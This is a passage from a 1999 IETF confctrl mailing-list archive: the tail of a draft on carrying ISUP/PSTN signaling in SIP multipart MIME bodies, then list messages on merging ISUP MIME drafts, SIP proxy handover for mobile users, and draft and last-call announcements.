intended to scale to millions of calls per hour for a world-wide=20
network.  In addition to these ambitious goals, SIP BCP-T must=20
facilitate "bridging" PSTN networks with IP networks.  To do this,=20
SIP BCP-T must be capable of transporting PSTN signaling information. =20
SIP BCP-T provides the methods for MGCs to set up, tear down and manage =

voice and data calls.  The extensions detailed here allow SIP=20
to accommodate a variety of in bound and out bound PSTN=20
signaling types including but not limited to SS7, Q.931, and CAS.

2. SIP BCP-T Components

2.1. SIP as defined in RFC 2543.

2.2. MIME multipart=20
Encapsulating PSTN signaling is a major function of the SIP BCP-T. =20
MIME multipart payloads enable SIP to carry any PSTN signaling=20
information required. SIP BCP-T uses MIME multipart [3] (RFCs 2045=20
- 2049) to enable SIP messages to contain multiple payloads in=20
the body of the message.  The multipart body can consists of any=20
combination of the following units:
     SDP payload
     ISUP payload
     One or more units of any MIME type payload.

The following are the suggested encoding formats for the above-
mentioned units:
     a) the SDP payload (text):
     Content-Type: application/SDP charset:ISO-10646        	 =20

The SDP [4] payload is plain-text.  Although the default for =
plain-texts=20
in MIME is US-ASCII, ISO-10646 is recommended here for the following =
reasons:
Both SIP and SDP use ISO 10646, and the ISO 10646 character set with=20
UTF-8 encoding can be considered a superset of the US-ASCII character=20
set per RFC 2044 [5].

     b) the ISUP payload (arbitrary binary data):
     Content-Type: application/ISUP
     Version: one of (ETSI, ANSI, LCD, etc)
     Content-Transfer-Encoding: binary

Encapsulating SS7 and other PSTN signaling messages inside SIP BCP-T
allows MGCs to be compatible with the PSTN. SIP BCP-T encapsulates and=20
transmits the native signaling messages from one PSTN to another,=20
essentially tunneling the PSTN signaling messages through the IP=20
network. To this end, SIP BCP-T has been extended with application/ISUP =

versions for several variants of ISUP. The use of ISUP encapsulation=20
with Content-Type "application/ISUP" allows ISUP signaling messages=20
to be tunneled between MGCs. The use of 'Version' allows =
differentiation=20
between different ISUP variants. This enables the terminating MGC to=20
recognize and parse the messages correctly, or (possibly) to reject=20
the message if the particular ISUP variant is not supported. The=20
idea here is to allow MGCs to specify a preference of version, so that=20
the following scenarios are possible: "I only like=20
application/isup;version=3DETSIv1" or "I accept application/isup=20
(but don't know the details; I just pass them on to some=20
other tool that uses them)".  The tools detailed in this document=20
allow MGCs to encpsulate any variant of ISUP.

The MGC network architecture makes possible the direct=20
connection of the originating MGC and the terminating MGC without=20
intermediate MGCs.  This makes possible the scenario where=20
an MGC in one country must be able to "speak" the ISUP variants of=20
all other countries in order to complete calls, (as opposed to an=20
intermediate international gateway MGC).  Alternatively, the=20
given MGC could use only a superset ISUP protocol, or an agreed
-upon "lowest common denominator" ISUP variant, which all=20
other MGCs connected to that MGC would have to use.  The=20
ability to encapsulate any version of ISUP inside SIP messages=20
enables any of these scenarios.  The optimal interworking of protocol=20
variants can be determined by the network operator.  A superset
approach, an agreed upon (lowest common denominator) interworking=20
variant approach, or support of all variants approach can all be
implemented using the SIP BCP-T.

For example, when a call arrives at an MG on an SS7 trunk, the=20
Originating MGC encapsulates the IAM in the INVITE message=20
body that is sent to the terminating MGC. This MGC reads the IAM=20
from the INVITE payload and may use it when creating its signaling=20
message to the terminating telephone network. Subsequent ACM and=20
ANM messages are passed back to the Originating MGC along with other=20
necessary information via 100 Trying and 200 OK messages. The version=20
tells the receiving MGC which type of ISUP message has been encoded.

     c) One or more units of any MIME type payload=20
     (dependent on use):

No rules have been laid out here. The Content-Type and=20
Content-Transfer-Encoding parameters would be determined by the=20
MIME type and the kind of data sent compliant with the rules of=20
RFCs 2045, 2046).

Note: The Content-Type specification is mandatory in all instances=20
to differentiate between the different payload types. This is because=20
there is no guarantee of a specific order or required type of the =
payloads.
=09
2.2.1 An illustrative example:

SIP message format requires a Request line followed by Header lines
followed by a CRLF separator followed by the message body. To
illustrate the use of multipart payload message body, below is
an INVITE message which has the originating SDP information and
an encapsulated ISUP IAM.

     	INVITE sip:13039263142@Den1.level3.com SIP/2.0
	From: sip:13034513355@den3.level3.com
	To: sip:13039263142@Den1.level3.com
	Call-ID: DEN1231999021712095500999@Den1.level3.com
	Content-Type: Application/ Multipart
	Content-Length: 327

	MIME-Version: 1.0         =20
	Content-Type: multipart/mixed; boundary=3Dunique-boundary-1

	--unique-boundary-1
	Content-Type: application/SDP; charset=3DISO-10646
          =20
	v=3D0
	o=3Dezimmerer 2890844526 2890842807 IN IP4 126.16.64.4
	s=3DSDP seminar
   	c=3DIN IP4 MG122.level3.com
	t=3D 2873397496	2873404696
	m=3Daudio 9092 RTP/AVP 0 3 4

	--unique-boundary-1
	Content-type:application/ISUP
	Version:ETSI
	Content-Transfer-Encoding: binary

	89 8b 0e 95 1e 1e 1e 06 26 05 0d f5 01 06 10 04 00=20

	--unique-boundary-1--

2.3. ISUP Mime Type
The ISUP Mime type is required to encapsulate the PSTN ISUP signaling=20
information.  See Internet draft: =
draft-ietf-mmusic-sip-isup-mime-00.txt [6]

2.4. INFO method
The intent of the INFO method is to allow for SIP to carry session=20
related control information that is generated during a session.=20
The INFO method is added specifically to allow PSTN signaling messages=20
beyond call setup and teardown to be transmitted between MGCs.  This=20
method may be used by either originating or terminating MGC to=20
communicate mid-call telephony signaling messages.

This has been described in an Internet Draft: =
draft-ietf-mmusic-sip-info-method-01.txt. [7] =20

Note: this Internet Draft references =
draft-ietf-sigtran-mime-isup-00.txt=20
proposal for encapsulating telephony signaling control information as =
part=20
of an ISUP attachment to the INFO message. It is recommended to use the =

format outlined above in section 2.2. MIME Multipart instead. =20

2.5. ISUP-SIP mapping
(Internet draft pending)
The SIP BCP-T recommends the ISUP-SIP mapping detailed by Gonzalo =
Camarillo in his thesis entitled "IP Telephony=20
Gateways" [8]. (Note: The mapping is based on the SIP Internet Draft=20
and NOT RFC 2543.  This is being updated.)
=09
2.6. Network Access Point (NAP) architecture
(Internet draft pending)=09




3. Security

The security provided by SIP is sufficient for the initial deployment =
of=20
inter-MGC communication.  There are issues requiring further study with =

regard to the interoperation of MGCs and SIP User Agents.  There is an=20
interesting line that must be drawn between giving too much control to=20
the endpoint clients and not enough control.  The notion of a secure=20
proxy between SIP User Agents (endpoints) and the network MGCs requires =
more study.

4. Acknowledgments

Many people have contributed to this document.  In particular Ike =
Elliott,=20
Andrew Dugan, Matt Cannon, John Wetherbie, and Dent Steve Dent.

5. Authors

Eric Zimmerer   =20
Level 3 Communications
1450 Infinite Drive
Louisville, CO, 80027, USA
Phone: 303-926-3142
EMail: eric.zimmerer@level3.com

Aparna Vemuri   =20
Level 3 Communications
1450 Infinite Drive
Louisville, CO, 80027, USA
Phone: 303-926-3000
EMail: aparna.vemuri@level3.com


Vijay Nadkarni
ipVerse, Inc.
1901 Landings Drive
Mountain View, CA 94043, USA
Phone: +1 650-919-0604
Email: vijayn@ipverse.com

Brian Morgan
ipVerse, Inc.
1901 Landings Drive
Mountain View, CA 94043, USA
Phone: +1 650-919-0631
Email: bfmorgan@ipverse.com

Gonzalo Camarillo        =20
Oy L M Ericsson Ab       =20
Telecom R&D              =20
FIN-02420 Jorvas Finland
Phone :  +358  9 299 33 71
Email :  Gonzalo.Camarillo@ericsson.com


6. References

[1] Handley, Schulzrinne, Schooler and Rosenberg, ``Session Initiation  =
Protocol (SIP)'' RFC 2543, Internet Engineering Task Force, March 1999.

[2] ITU-T E.164

[3] (RFCs 2045 - 2049)=20

[4] M. Handley and V. Jacobson, "SDP: Session Description Protocol, =
"RFC 2327, Internet Engineering Task Force,  April 1998.

[5] RFC 2044

[6] Eric Zimmmerer, Aparna Vemuri, "The SIP/ISUP MIME TYPE" - =
draft-ietf-mmusic-sip-isup-mime-00.txt, Internet Draft.

[7] Steven Donovan, "The SIP INFO method" - =
draft-ietf-mmusic-sip-info-method-01.txt,=20
Internet Draft.

[8] Gonzalo Camarillo, "IP Telephony Gateways" Master's thesis, =
Ericsson Telecom AB.

------_=_NextPart_000_01BEED70.C169085E--

From confctrl-owner  Mon Aug 23 09:05:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23909
	for confctrl-outgoing; Mon, 23 Aug 1999 09:05:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23904
	for <confctrl@zephyr.isi.edu>; Mon, 23 Aug 1999 09:05:32 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17504
	for <confctrl@isi.edu>; Mon, 23 Aug 1999 09:05:31 -0700 (PDT)
Received: from mailee.research.telcordia.com (mailee [192.4.7.23])
	by thumper.research.telcordia.com (8.9.3/8.9.1) with ESMTP id MAA22297;
	Mon, 23 Aug 1999 12:04:21 -0400 (EDT)
Received: from seascape.bellcore.com (pptpdhcp25.research.telcordia.com [192.4.9.250])
	by mailee.research.telcordia.com (8.8.8/8.8.8) with SMTP id MAA15408;
	Mon, 23 Aug 1999 12:04:09 -0400 (EDT)
Message-Id: <4.1.19990823113459.0094ad30@mailee.bellcore.com>
X-Sender: huitema@mailee.bellcore.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 23 Aug 1999 12:04:05 -0400
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>, confctrl@ISI.EDU
From: Christian Huitema <huitema@research.telcordia.com>
Subject: Re: FW: Info Method draft
Cc: eric.zimmerer@level3.com, aparna.vemuri@level3.com
In-Reply-To: <93496446F5EDD211A8C100805FEAD74901C31D@nsrip00207.mcit.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 02:06 PM 8/23/99 +0000, Donovan, Steven R. wrote: 

>
> Please let me know if there are any objections to the attached request from
> Aparna Vemuri of Level 3.  Aparna has requested that the INFO draft reference
> Eric Zimmerer's ISUP MIME draft instead of the original draft from Christian
> Huitema.


The two drafts are not entirely equivalent, as they try to address two
different problems:

1) The draft by Zimmerer & Vemuri does a very good job of explaining the use of
binary encoding, and only specifies one parameter, a version field that can be
set to         ANSI-ISUP,  ETSI-ISUP, GR-317,BTNUP           BT NUP or R2.

2) My draft had two parameters, variant and headers. "Variant" had the same
intent has the "version" in Zimmerer & Veruni's draft, but allowed coding
points for national variants. Header is intended to signal whether the  MTP-3
routing header was or was not included, with three options, header="routing"
when the addresses and CIC are included, header="CIC" when only the CIC is
included, header="none" when the header is entirely excluded.

The SS7 pointcodes of the source and destinations, as well as the CIC, are not
needed when using SIP, but they are definitely needed in other situations. Just
specifying Q.761-4 is ambiguous; it can be interpreted as either the complete
ISUP message, including pointcodes, or the restricted message, containing only
ISUP parameters. At a minimum, the exact chapter and verse of Q.963 should be
spelled out, in order to remove ambiguities.

In addition, we should note that both drafts have problems. The use of the
"version" field in Zimmerer & Vemuri's examples is inconsistent with the MIME
specification of the content-type header line, and the specific value used in
the example is inconsistent with the parameter's specifications (should be
ETSI-ISUP instead of ETSIv1). Just specifying "header present" in my draft was
noted to be problematic -- if we do that, we have to be able to specify the
format of the pointcodes, which varies from country to country. Also, the
reference to Q.764 in my draft is erroneous (wrong title).

I believe that we should merge, and update, these two drafts. I agree that the
default should be exactly what Zimmerer & Veruni specified (no routing header),
which can be solved by setting the default value of the header parameter to
"none." The only remaining difference would be the extension of the "version"
definition to also allow national variants. The two drafts are both 3 page
long, so the merging could easily be done before COB today...
Christian Huitema

From confctrl-owner  Mon Aug 23 11:41:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA00240
	for confctrl-outgoing; Mon, 23 Aug 1999 11:41:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA00235
	for <confctrl@zephyr.isi.edu>; Mon, 23 Aug 1999 11:41:54 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06783
	for <confctrl@ISI.EDU>; Mon, 23 Aug 1999 11:41:49 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id NAA07723;
	Mon, 23 Aug 1999 13:36:11 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA11182;
	Mon, 23 Aug 1999 13:36:11 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA18670; Mon, 23 Aug 1999 13:36:09 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id NAA01629;
	Mon, 23 Aug 1999 13:36:08 -0500 (CDT)
Message-Id: <199908231836.NAA01629@b04a24.exu.ericsson.se>
Subject: Re: FW: Info Method draft
To: huitema@research.telcordia.com (Christian Huitema)
Date: Mon, 23 Aug 1999 13:36:08 -0500 (CDT)
Cc: Steven.R.Donovan@wcom.com, confctrl@ISI.EDU, eric.zimmerer@level3.com,
        aparna.vemuri@level3.com
In-Reply-To: <4.1.19990823113459.0094ad30@mailee.bellcore.com> from "Christian Huitema" at Aug 23, 99 12:04:05 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


If we're revising the drafts: it seems a bit inconsistent to give a
type of "ISUP" if we're transiting, for example, TUP messages, it may 
be more appropriate to call it something like "application/ss7-userpart".

One more note: how would you encode CAS payloads? The Zimmerer/Vemuri
draft lists R2 as a potential protocol for transit.

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Mon Aug 23 12:20:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA01604
	for confctrl-outgoing; Mon, 23 Aug 1999 12:20:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01599
	for <confctrl@zephyr.isi.edu>; Mon, 23 Aug 1999 12:20:36 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12563
	for <confctrl@isi.edu>; Mon, 23 Aug 1999 12:20:35 -0700 (PDT)
Received: from mailee.research.telcordia.com (mailee [192.4.7.23])
	by thumper.research.telcordia.com (8.9.3/8.9.1) with ESMTP id PAA01791;
	Mon, 23 Aug 1999 15:19:07 -0400 (EDT)
Received: from seascape.bellcore.com (pptpdhcp25.research.telcordia.com [192.4.9.250])
	by mailee.research.telcordia.com (8.8.8/8.8.8) with SMTP id PAA20130;
	Mon, 23 Aug 1999 15:18:53 -0400 (EDT)
Message-Id: <4.1.19990823151421.00941840@mailee.bellcore.com>
X-Sender: huitema@mailee.bellcore.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 23 Aug 1999 15:18:56 -0400
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
From: Christian Huitema <huitema@research.telcordia.com>
Subject: Re: FW: Info Method draft
Cc: Steven.R.Donovan@wcom.com, confctrl@ISI.EDU, eric.zimmerer@level3.com,
        aparna.vemuri@level3.com
In-Reply-To: <199908231836.NAA01629@b04a24.exu.ericsson.se>
References: <4.1.19990823113459.0094ad30@mailee.bellcore.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 01:36 PM 8/23/99 -0500, Adam B. Roach wrote:
>
>If we're revising the drafts: it seems a bit inconsistent to give a
>type of "ISUP" if we're transiting, for example, TUP messages, it may 
>be more appropriate to call it something like "application/ss7-userpart".
>
>One more note: how would you encode CAS payloads? The Zimmerer/Vemuri
>draft lists R2 as a potential protocol for transit.

Well, if we carry TUP, then we should call it TUP.  If we call it ISUP, it
means that we have translated it to ISUP. I can't speak for Eric, but I
believe this is what he had in mind with an ISUP/R2 payload.

On the other hand, if the call did originate from an MF/R2 interface, I
don't really see the point of carrying an ISUP payload in the first place.
There are pretty few R2 protocol elements that cannot be directly
incorporated in the SIP header fields. (The reason we would bother carrying
ISUP at all is "transparent relay", i.e. make sure that features that are
unused on the SIP/VoIP network can be carried all the way accross.)
Christian Huitema

From confctrl-owner  Mon Aug 23 17:32:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA12224
	for confctrl-outgoing; Mon, 23 Aug 1999 17:32:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA12219
	for <confctrl@zephyr.isi.edu>; Mon, 23 Aug 1999 17:32:44 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24953
	for <confctrl@ISI.EDU>; Mon, 23 Aug 1999 17:32:43 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA13978;
	Mon, 23 Aug 1999 20:32:42 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA13507;
	Mon, 23 Aug 1999 20:32:41 -0400 (EDT)
Message-ID: <37C1E828.26802D0C@cs.columbia.edu>
Date: Mon, 23 Aug 1999 20:32:40 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Daniel Floreani <daniel@SPRI.Levels.UniSA.Edu.Au>
CC: confctrl@ISI.EDU
Subject: Re: Handover between two SIP servers
References: <37C0EBA6.63FF246A@spri.levels.unisa.edu.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Daniel Floreani wrote:
> 
> I am working on the issue of integrating the SIP protocol architecture
> into the Mobile IP architecture, with special interest in Mobile IP
> for Radio Access networks.

I'm not quite sure what you mean by a "SIP session" below. The proxy
server usually doesn't see a session, just transactions, so it can't
hand over a session. A SIP server could "lie" in a Record-Route to force
the next request to go to a different server, but I don't think it
accomplishes what you'd like to do.

You might also want to take a look at the WoWMoM paper on SIP mobility;
see http://www.cs.columbia.edu/~hgs/sip/papers.html for a somewhat
different solution.


> 
> I have made the following assumptions:
> 
> 1> there is a SIP server in every Local Serving Function (LSF). This
> means
> that a SIP server manages the calls for a certain number of Radio access
> networks.
> 
> 2> the SIP server and the MobileIP Serving Mobility Manager interact
> closely
> to update and/or find the mobile IP users current location.
> 
> 3> the SIP server acts in proxy mode, not redirection mode.
> 
> So far, I think I have been sucessful in creating procedures for
> registration,
> registration update after mobile IP handover, and call maintenance
> after MIP handover within the same LSF. I have struck problems with
> maintaining
> a call if the Mobile user wishes to handover to a new LSF, and hence a
> new SIP server.
> 
> So in summary, my question is - is there a mechanism within SIP to allow
> a
> SIP server, acting as a proxy to hand over to another SIP server, while
> keeping
> the current SIP session active.
> 
> thanks
> daniel floreani
> Email:daniel@spri.levels.unisa.edu.au

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Aug 24 04:03:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA00943
	for confctrl-outgoing; Tue, 24 Aug 1999 04:03:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA00937
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 04:03:19 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA28601
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 04:03:18 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19989;
	Tue, 24 Aug 1999 07:02:46 -0400 (EDT)
Message-Id: <199908241102.HAA19989@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-02.txt
Date: Tue, 24 Aug 1999 07:02:45 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M. Handley, C. Perkins, E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-02.txt
	Pages		: 17
	Date		: 23-Aug-99
	
This document describes version 2 of the multicast session directory
announcement protocol, SAP, and the related issues affecting security
and scalability that should be taken into account by the implementors
of multicast session directory tools.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990823115546.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990823115546.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Aug 24 09:06:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA10987
	for confctrl-outgoing; Tue, 24 Aug 1999 09:06:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10982
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 09:06:53 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA13877
	for <confctrl@ISI.EDU>; Tue, 24 Aug 1999 09:06:52 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04576-0@bells.cs.ucl.ac.uk>; Tue, 24 Aug 1999 17:06:49 +0100
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-sap-v2-02.txt
In-reply-to: Your message of "Tue, 24 Aug 1999 07:02:45 EDT." <199908241102.HAA19989@ietf.org>
Date: Tue, 24 Aug 1999 17:06:48 +0100
Message-ID: <3142.935510808@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Internet-Drafts@ietf.org writes:
>A New Internet-Draft is available from the on-line Internet-Drafts directories.
>
>	Title		: Session Announcement Protocol
>	Author(s)	: M. Handley, C. Perkins, E. Whelan
>	Filename	: draft-ietf-mmusic-sap-v2-02.txt
>	Pages		: 17
>	Date		: 23-Aug-99
>	
>This document describes version 2 of the multicast session directory
>announcement protocol, SAP, and the related issues affecting security
>and scalability that should be taken into account by the implementors
>of multicast session directory tools.

The changes in this version include clarifications to the section on
authentication, and better specification of the announcement interval.

My hope is that this is almost ready for last call - I'm planning on 
one more revision to address any comments I receive, and then to push
this to RFC after the next meeting. I'd appreciate comments.

Cheers,
Colin

From confctrl-owner  Tue Aug 24 09:42:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA12427
	for confctrl-outgoing; Tue, 24 Aug 1999 09:42:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA12417
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 09:42:21 -0700 (PDT)
Received: from auemlsrv.firewall.lucent.com (auemail1.lucent.com [192.11.223.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17846
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 09:42:20 -0700 (PDT)
Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id MAA23147
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 12:42:20 -0400 (EDT)
Received: from holta.ho.lucent.com (h135-17-74-2.lucent.com [135.17.74.2])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id MAA23856
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 12:06:04 -0400 (EDT)
Received: by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id MAA05713; Tue, 24 Aug 1999 12:05:58 -0400
From: faynberg@lucent.com (Igor Faynberg)
Received: by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id MAA05658; Tue, 24 Aug 1999 12:05:54 -0400
Date: Tue, 24 Aug 1999 12:05:54 -0400
Message-Id: <199908241605.MAA05658@holta.ho.lucent.com>
Original-From: igorf@holta.ho.lucent.com (Igor Faynberg)
To: pint@lists.research.bell-labs.com, confctrl@ISI.EDU
Cc: sob@harvard.edu, vern@aciri.edu
Subject: MMUSIC+PINT joint WG Last Call
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


MMUSIC and PINT participants:

Following the advice of Transport Area Directors, this is to announce a 

WG last call on 'draft-antti-telephony-url-09.txt'. The document is
------------     --------------------------------
to be reviewed by both groups on a subject of becoming PROPOSED

STANDARD by September 7,1999.
            -----------------

Please remember to cross-post the comments to 'confctrl@isi.edu' and
                                              ------------------ 
'pint@lists.research.bell-labs.com'. 
---------------------------------

MMUSIC and PINT chairs
	







From confctrl-owner  Tue Aug 24 10:07:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA13499
	for confctrl-outgoing; Tue, 24 Aug 1999 10:07:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA13494
	for <confctrl@zephyr.isi.edu>; Tue, 24 Aug 1999 10:07:05 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA20555
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 10:07:03 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA21274
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 13:06:26 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id SAA00349
	for <confctrl@isi.edu>; Tue, 24 Aug 1999 18:07:00 +0100 (BST)
Message-ID: <37C2D152.FC1E2846@hplb.hpl.hp.com>
Date: Tue, 24 Aug 1999 18:07:30 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: List archive on the Web
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
